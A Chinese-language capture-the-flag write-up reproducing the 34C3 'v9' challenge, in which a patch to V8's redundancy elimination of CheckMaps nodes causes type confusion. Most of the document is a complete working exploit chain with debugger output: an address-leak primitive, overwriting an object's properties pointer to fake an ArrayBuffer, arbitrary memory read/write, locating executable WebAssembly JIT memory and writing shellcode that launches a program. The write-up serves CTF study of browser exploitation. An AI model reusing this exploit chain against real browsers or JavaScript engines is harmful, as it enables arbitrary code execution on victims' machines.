34c3 v9

34c3_v9复现,由于Patch的改动导致了Type Confusion,学习了一个新姿势。


环境准备

mkdir v9 && cd v9
fetch v8 && cd v8           # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

漏洞分析

Patch

$ cat v9.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"

#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"

namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}

在RedundancyElimination加入了对于CheckMaps的Reduce。
Checkmap用于检查某个对象的类型有没有发生变化。
其调用过程如下:

1
2
3
4
5
6
7
Reduction RedundancyElimination::Reduce(Node* node) {
if (node_checks_.Get(node)) return NoChange();
switch (node->opcode()) {
...
case IrOpcode::kCheckMaps:
...
return ReduceCheckNode(node);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}

// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}
1
2
3
4
5
6
7
8
9
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->op() != b->op()) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
} else if (a->opcode() == IrOpcode::kCheckMaps &&
b->opcode() == IrOpcode::kCheckMaps) {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
} else {
return false;
}
}
for (int i = a->op()->ValueInputCount(); --i >= 0;) {
if (a->InputAt(i) != b->InputAt(i)) return false;
}
return true;
}

Reduce中对于CheckMaps时,在LookupCheck中
for (Check const* check = head_; check != nullptr; check = check->next)
遍历其他check,并调用IsCompatibleCheck函数。在该函数中,如果节点均为CheckMaps,则会检查CheckMaps是否兼容,如果a_mapsb_maps的子集,则CheckMaps是兼容的。此时在IsCompatibleCheck中返回True,在LookupCheck中返回check->nodenode节点被替换。如果一个节点被多次检查,则可以忽略后面的检查。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

function success(str, val){
console.log("[+] " + str + " -> "+ hex(val));
}

class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}

var tC = new typeConvert();

var obj = {x:1.1, y:2.2};
let o = {a: 3.3, b: 4.4};

// trigger func
function triggerFunc(o,callback){
var tmp = o.a;
callback();
return o.b;
}

function usable(){
o.b = obj;
}
// console.log(triggerFunc(o,()=>1));
for(let i=0; i<0x12000; i++){
triggerFunc(o, () => 0);
triggerFunc(o, () => 0);
}


let objLeakAddr = tC.f2u(triggerFunc(o,usable));
success("objLeakAddr",objLeakAddr);
%DebugPrint(obj);
$ ~/browser/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./poc.js 
[+] objLeakAddr -> 0x000024df95306101
DebugPrint: 0x24df95306101: [JS_OBJECT_TYPE]
 - map = 0x25fac8d0c931 [FastProperties]
 - prototype = 0x2356ade846a9
 - elements = 0x160aaa282251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties = 0x160aaa282251 <FixedArray[0]> {
    #x: <unboxed double> 1.1 (data field 0)
    #y: <unboxed double> 2.2 (data field 1)
 }
0x25fac8d0c931: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 40
 - inobject properties: 2
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x25fac8d0c8e1 <Map(HOLEY_ELEMENTS)>
 - instance descriptors (own) #2: 0x24df9530bd81 <FixedArray[8]>
 - layout descriptor: 0x300000000
 - prototype: 0x2356ade846a9 <Object map = 0x25fac8d022a1>
 - constructor: 0x2356ade846e1 <JSFunction Object (sfi = 0x160aaa2a3b59)>
 - dependent code: 0x160aaa282251 <FixedArray[0]>
 - construction counter: 0

漏洞利用

在漏洞利用方面学到了一个新姿势,通过修改objProperties来获得一个完整的RW原语。
这里部分参考raycp师傅的exploit

addrOf原语

如POC中一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function addrOf(obj)
{
let o = {a: 1.1, b: 2.2};
function triggerFunc(o, callback)
{
let tmp = o.a;
callback(tmp);
return o.b;
}
function usableFunc()
{
o.b = obj;
}
for(let i=0; i<0x12000; i++)
{
triggerFunc(o,()=>1);
triggerFunc(o,()=>2);
}
let ret = tC.f2u(triggerFunc(o,usableFunc));
return ret;
}
`

修改Properties

对于如下对象

1
2
3
4
var o = {
c : 1.1
};
o.d = 2.2;

DebugPrint: 0x3e5206a41ca1: [JS_OBJECT_TYPE]
 - map = 0xbc7d550b761 [FastProperties]
 - prototype = 0x2422aa4046a9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties = 0x3e5206a41cc1 <PropertyArray[3]> {
    #c: <unboxed double> 1.1 (data field 0)
    #d: 0x3e5206a41ce9 <MutableNumber 2.2> (data field 1) properties[0]
 }
0xbc7d550b761: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 32
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 2
 - enum length: invalid
 - stable_map
 - back pointer: 0xbc7d550b711 <Map(HOLEY_ELEMENTS)>
 - instance descriptors (own) #2: 0x2d853bb1cf29 <FixedArray[8]>
 - layout descriptor: 0x100000000
 - prototype: 0x2422aa4046a9 <Object map = 0xbc7d55022a1>
 - constructor: 0x2422aa4046e1 <JSFunction Object (sfi = 0x3d6274323b59)>
 - dependent code: 0x2422aa43a4c1 <FixedArray[4]>
 - construction counter: 0

添加的o.d(properties[0])是MutableNumber类型。

pwndbg> job 0x3e5206a41ce9
<mutable 2.2>
pwndbg> x/2gx 0x3e5206a41ce9-1
0x3e5206a41ce8:    0x00000aefc6902e31    0x400199999999999a

改变o.d

DebugPrint: 0x3e5206a41ca1: [JS_OBJECT_TYPE]
 - map = 0xbc7d550b081 [FastProperties]
 - prototype = 0x2422aa4046a9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties = 0x3e5206a41d99 <PropertyArray[3]> {
    #c: <unboxed double> 1.1 (data field 0)
    #d: 0x2d853bb1cac1 <Object map = 0xbc7d550b6c1> (data field 1) properties[0]
 }
0xbc7d550b081: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 32
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 2
 - enum length: invalid
 - stable_map
 - back pointer: 0xbc7d550b711 <Map(HOLEY_ELEMENTS)>
 - instance descriptors (own) #2: 0x3e5206a41d49 <FixedArray[8]>
 - layout descriptor: 0x100000000
 - prototype: 0x2422aa4046a9 <Object map = 0xbc7d55022a1>
 - constructor: 0x2422aa4046e1 <JSFunction Object (sfi = 0x3d6274323b59)>
 - dependent code: 0x3d6274302251 <FixedArray[0]>
 - construction counter: 0
 ...
 pwndbg> job 0x2d853bb1cac1
0x2d853bb1cac1: [JS_OBJECT_TYPE]
 - map = 0xbc7d550b6c1 [FastProperties]
 - prototype = 0x2422aa4046a9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties = 0x2d853bb1cba1 <PropertyArray[3]> {
    #inline: 42 (data field 0)
    #offset0: 0x2d853bb1cb19 <Object map = 0xbc7d5502391> (data field 1) properties[0]
    #offset8: 0x2d853bb1cbc9 <Object map = 0xbc7d5502391> (data field 2) properties[1]
    #offset16: 0x2d853bb1cc69 <Object map = 0xbc7d5502391> (data field 3) properties[2]
 }
 pwndbg> x/2gx  0x2d853bb1cac1-1
0x2d853bb1cac0:    0x00000bc7d550b6c1    0x00002d853bb1cba1

0x2d853bb1cac1的对象就是我们要改变properties的对象。
可以看到存放对象properties的位置与存放MutableNumber的值的位置相同,
所以我们可以再次修改o.d为目标值,就可以修改对象0x2d853bb1cac1properties为目标值。

DebugPrint: 0x2d853bb1cac1: [JS_OBJECT_TYPE]
 - map = 0xbc7d550b6c1 [FastProperties]
 - prototype = 0x2422aa4046a9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties = 0x2422aa436749 <ArrayBuffer map = 0xbc7d5502f71> {
    #inline: 42 (data field 0)
    #offset0: 0x3d6274302251 <FixedArray[0]> (data field 1) properties[0]
    #offset8: 1024 (data field 2) properties[1]
    #offset16: 22089 (data field 3) properties[2]
 ...
pwndbg> job 0x2422aa436749
0x2422aa436749: [JSArrayBuffer] in OldSpace
 - map = 0xbc7d5502f71 [FastProperties]
 - prototype = 0x2422aa40b7b9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store = 0x56494f218ea0
 - byte_length = 1024
 - neuterable
 - properties = 0x3d6274302251 <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }

此时对象0x2d853bb1cac1properties已经被修改为了一个ArrayBuffer的地址。

任意地址读写

1
2
3
4
var memviewBuf = new ArrayBuffer(1024);
var driverBuf = new ArrayBuffer(1024);
gc();
gc();

首先new两个ArrayBuffer,并通过两次gc把他们移到OldSpace

1
2
3
4
var victim = {inline: 42};
victim.offset0 = {};
victim.offset8 = {};
victim.offset16 = {};

然后通过上述修改properties的方法,把victimproperties修改为driverBuf的地址(通过AddrOf获得)。
看一下PropertyArray

pwndbg> job 0x2d853bb1cba1
0x2d853bb1cba1: [PropertyArray]
 - map = 0xaefc69031a1 <Map(HOLEY_ELEMENTS)>
 - length: 3
 - hash: 0
           0: 0x2d853bb1cb19 <Object map = 0xbc7d5502391>
           1: 0x2d853bb1cbc9 <Object map = 0xbc7d5502391>
           2: 0x2d853bb1cc69 <Object map = 0xbc7d5502391>
pwndbg> x/6gx 0x2d853bb1cba1-1
0x2d853bb1cba0:    0x00000aefc69031a1    0x0000000300000000
0x2d853bb1cbb0:    0x00002d853bb1cb19    0x00002d853bb1cbc9
0x2d853bb1cbc0:    0x00002d853bb1cc69    0x00000bc7d5502391

可以看到0x20位置是0x00002d853bb1cc69,即victim.offset16

pwndbg> job 0x2422aa436749
0x2422aa436749: [JSArrayBuffer] in OldSpace
 - map = 0xbc7d5502f71 [FastProperties]
 - prototype = 0x2422aa40b7b9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store = 0x56494f218ea0
 - byte_length = 1024
 - neuterable
 - properties = 0x3d6274302251 <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }
pwndbg> x/6gx 0x2422aa436749-1
0x2422aa436748:    0x00000bc7d5502f71    0x00003d6274302251
0x2422aa436758:    0x00003d6274302251    0x0000040000000000
0x2422aa436768:    0x000056494f218ea0    0x000056494f218ea0

而在ArrayBuffer中,0x20位置是backing_store。所以我们可以修改victim.offset16来改变backing_store

DebugPrint: 0x2d853bb1cac1: [JS_OBJECT_TYPE]
 - map = 0xbc7d550b6c1 [FastProperties]
 - prototype = 0x2422aa4046a9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties = 0x2422aa436749 <ArrayBuffer map = 0xbc7d5502f71> {
    #inline: 42 (data field 0)
    #offset0: 0x3d6274302251 <FixedArray[0]> (data field 1) properties[0]
    #offset8: 1024 (data field 2) properties[1]
    #offset16: 0x2422aa408f31 <ArrayBuffer map = 0xbc7d5502f71> (data field 3) properties[2]
 }
 0x2422aa436749: [JSArrayBuffer] in OldSpace
 - map = 0xbc7d5502f71 [FastProperties]
 - prototype = 0x2422aa40b7b9
 - elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store = 0x2422aa408f31
 - byte_length = 1024
 - neuterable
 - properties = 0x3d6274302251 <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }

通过修改后可以看到,随着offset16的改变,ArrayBufferbacking_store同时改变。
然后就可以通过其获得完整的任意地址读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class ArbitraryRW
{
read(addr)
{
driver.setFloat64(31, tC.u2f(addr), true);
var memView = new DataView(memviewBuf);
return tC.f2u(memView.getFloat64(0,true));
}
write(addr, payload)
{
driver.setFloat64(31, tC.u2f(addr), true);
var memView = new DataView(memviewBuf);
for(let i=0; i<payload.length; i++)
{
memView.setUint8(i, payload[i]);
}
}
leakObjF(objInput)
{
driverBuf.leakobj = objInput;
//%DebugPrint(objInput);
//%DebugPrint(driverBuf);
//%SystemBreak();
let propertiesAddr = this.read(bufAddr - 0x1 + 0x8);
let objAddr = this.read(propertiesAddr - 0x1 + 0x10);
return objAddr;
}
leakObj(obj)
{
driverBuf.leakobj = obj;
let mapAddr = this.read(bufAddr-1);
let instanceDescriptorsAddr = this.read(mapAddr - 0x1 + 0x30);
let objAddr = this.read(instanceDescriptorsAddr - 0x1 + 0x30);
return objAddr;
}
}
`

read中,driver是上面victimproperties所指ArrayBuffer的视图,其backing_store已经被修改成另一个ArrayBuffer,向backing_store内容+31偏移位置(即另一个ArrayBufferbacking_store)写入目标addr,然后通过另一个ArrayBuffer的视图控制读写。
write中也类似。
leakObj是通过map以及instanceDescriptors来稳定泄露obj的地址。

RWX地址

在低版本的v8中,可以通过修改函数的JIT代码实现任意执行。

pwndbg> job 0x246bc89ac0c1
0x246bc89ac0c1: [Function] in OldSpace
 - map = 0x284ab4a84501 [FastProperties]
 - prototype = 0x246bc8984669
 - elements = 0x2d96f9082251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0x246bc89abf81 <SharedFunctionInfo 0>
 - name = 0x2d96f90844f1 <String[1]: 0>
 - formal_parameter_count = 0
 - kind = [ NormalFunction ]
 - context = 0x246bc8983d91 <FixedArray[281]>
 - code = 0x257698804081 <Code JS_TO_WASM_FUNCTION>
 - properties = 0x246bc8988d81 <PropertyArray[3]> {
    #length: 0x2d96f90fdb19 <AccessorInfo> (const accessor descriptor)
    #name: 0x2d96f90fdb89 <AccessorInfo> (const accessor descriptor)
    #arguments: 0x2d96f90fdbf9 <AccessorInfo> (const accessor descriptor)
    #caller: 0x2d96f90fdc69 <AccessorInfo> (const accessor descriptor)
    #prototype: 0x2d96f90fdcd9 <AccessorInfo> (const accessor descriptor)
    0x2d96f9084991 <Symbol: (wasm_instance_symbol)>: 0x246bc89ae669 <Instance map = 0x38c99150b7b1> (data field 0) properties[0]
    0x2d96f9084971 <Symbol: (wasm_function_index_symbol)>: 0 (data field 1) properties[1]
 }

 - feedback vector: not available
pwndbg> x/20gx 0x246bc89ac0c1-1
0x246bc89ac0c0:    0x0000284ab4a84501    0x0000246bc8988d81
0x246bc89ac0d0:    0x00002d96f9082251    0x00002d96f9082321
0x246bc89ac0e0:    0x0000246bc89abf81    0x0000246bc8983d91
0x246bc89ac0f0:    0x00002d96f90827e1    0x0000257698804081 

code在0x38偏移处。

pwndbg> job 0x257698804081
0x257698804081: [Code]
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
Instructions (size = 147)
0x2576988040e0     0  55             push rbp
0x2576988040e1     1  4889e5         REX.W movq rbp,rsp

可计算得到,code地址距离可执行代码的位置有0x60的偏移。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

function success(str, val){
console.log("[+] " + str + " -> "+ hex(val));
}

function gc()
{
for (let i = 0; i < 100; i++)
{
new ArrayBuffer(0x100000);
}
}

class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}

var tC = new typeConvert();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;

function addrOf(obj)
{
let o = {a: 1.1, b: 2.2};
function triggerFunc(o, callback)
{
let tmp = o.a;
callback(tmp);
return o.b;
}
function usableFunc()
{
o.b = obj;
}
for(let i=0; i<0x12000; i++)
{
triggerFunc(o,()=>1);
triggerFunc(o,()=>2);
}
let ret = tC.f2u(triggerFunc(o,usableFunc));
return ret;
}

function changeProperties(target, value)
{
function func(o, callback0)
{
let tmp = o.c;
callback0(tmp);
o.d = value;
return o.d;
}
var o = {
c : 1.1
};
o.d = 2.2;
//%DebugPrint(o);
//%SystemBreak();
for(let i=0; i<0x12000; i++)
{
func(o,()=>1);
}
var o = {
c : 1.1
};
o.d = 2.2;

var res = func(o,function (){
//%DebugPrint(o);
//%SystemBreak();
o.d = target;
//%DebugPrint(o);
//%DebugPrint(target);
//%SystemBreak();
});
}

var memviewBuf = new ArrayBuffer(1024);
var driverBuf = new ArrayBuffer(1024);
gc();
gc();

//%DebugPrint(driverBuf);
//%SystemBreak();
var bufAddr = addrOf(driverBuf);
var victim = {inline: 42};
victim.offset0 = {};
victim.offset8 = {};
victim.offset16 = {};
//%DebugPrint(victim);

changeProperties(victim, tC.u2f(bufAddr));
//%DebugPrint(victim);
//%SystemBreak();

victim.offset16 = memviewBuf;
//%DebugPrint(victim);
//%SystemBreak();

//obj = {x : 1};
//driverBuf.leakobj = obj;
//%DebugPrint(driverBuf);
//%SystemBreak();

var driver = new DataView(driverBuf);
class ArbitraryRW
{
read(addr)
{
driver.setFloat64(31, tC.u2f(addr), true);
var memView = new DataView(memviewBuf);
return tC.f2u(memView.getFloat64(0,true));
}
write(addr, payload)
{
driver.setFloat64(31, tC.u2f(addr), true);
var memView = new DataView(memviewBuf);
for(let i=0; i<payload.length; i++)
{
memView.setUint8(i, payload[i]);
}
}
leakObjF(objInput)
{
driverBuf.leakobj = objInput;
//%DebugPrint(objInput);
//%DebugPrint(driverBuf);
//%SystemBreak();
let propertiesAddr = this.read(bufAddr - 0x1 + 0x8);
let objAddr = this.read(propertiesAddr - 0x1 + 0x10);
return objAddr;
}
leakObj(obj)
{
driverBuf.leakobj = obj;
let mapAddr = this.read(bufAddr-1);
let instanceDescriptorsAddr = this.read(mapAddr - 0x1 + 0x30);
let objAddr = this.read(instanceDescriptorsAddr - 0x1 + 0x30);
return objAddr;
}
}

let wr = new ArbitraryRW();


let wasmFuncAddr = wr.leakObj(wasmFunc);
success("wasmFuncAddr",wasmFuncAddr);
//%DebugPrint(wasmFunc);
//%SystemBreak();
let rwxJITAddr = wr.read(wasmFuncAddr - 0x1 + 0x38) - 0x1 + 0x60;
success("rwxJITAddr",rwxJITAddr)

function showCalc()
{
let shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
wr.write(rwxJITAddr,shellcode);
wasmFunc();
}

showCalc()
`

000

参考链接

raycp师傅的exploit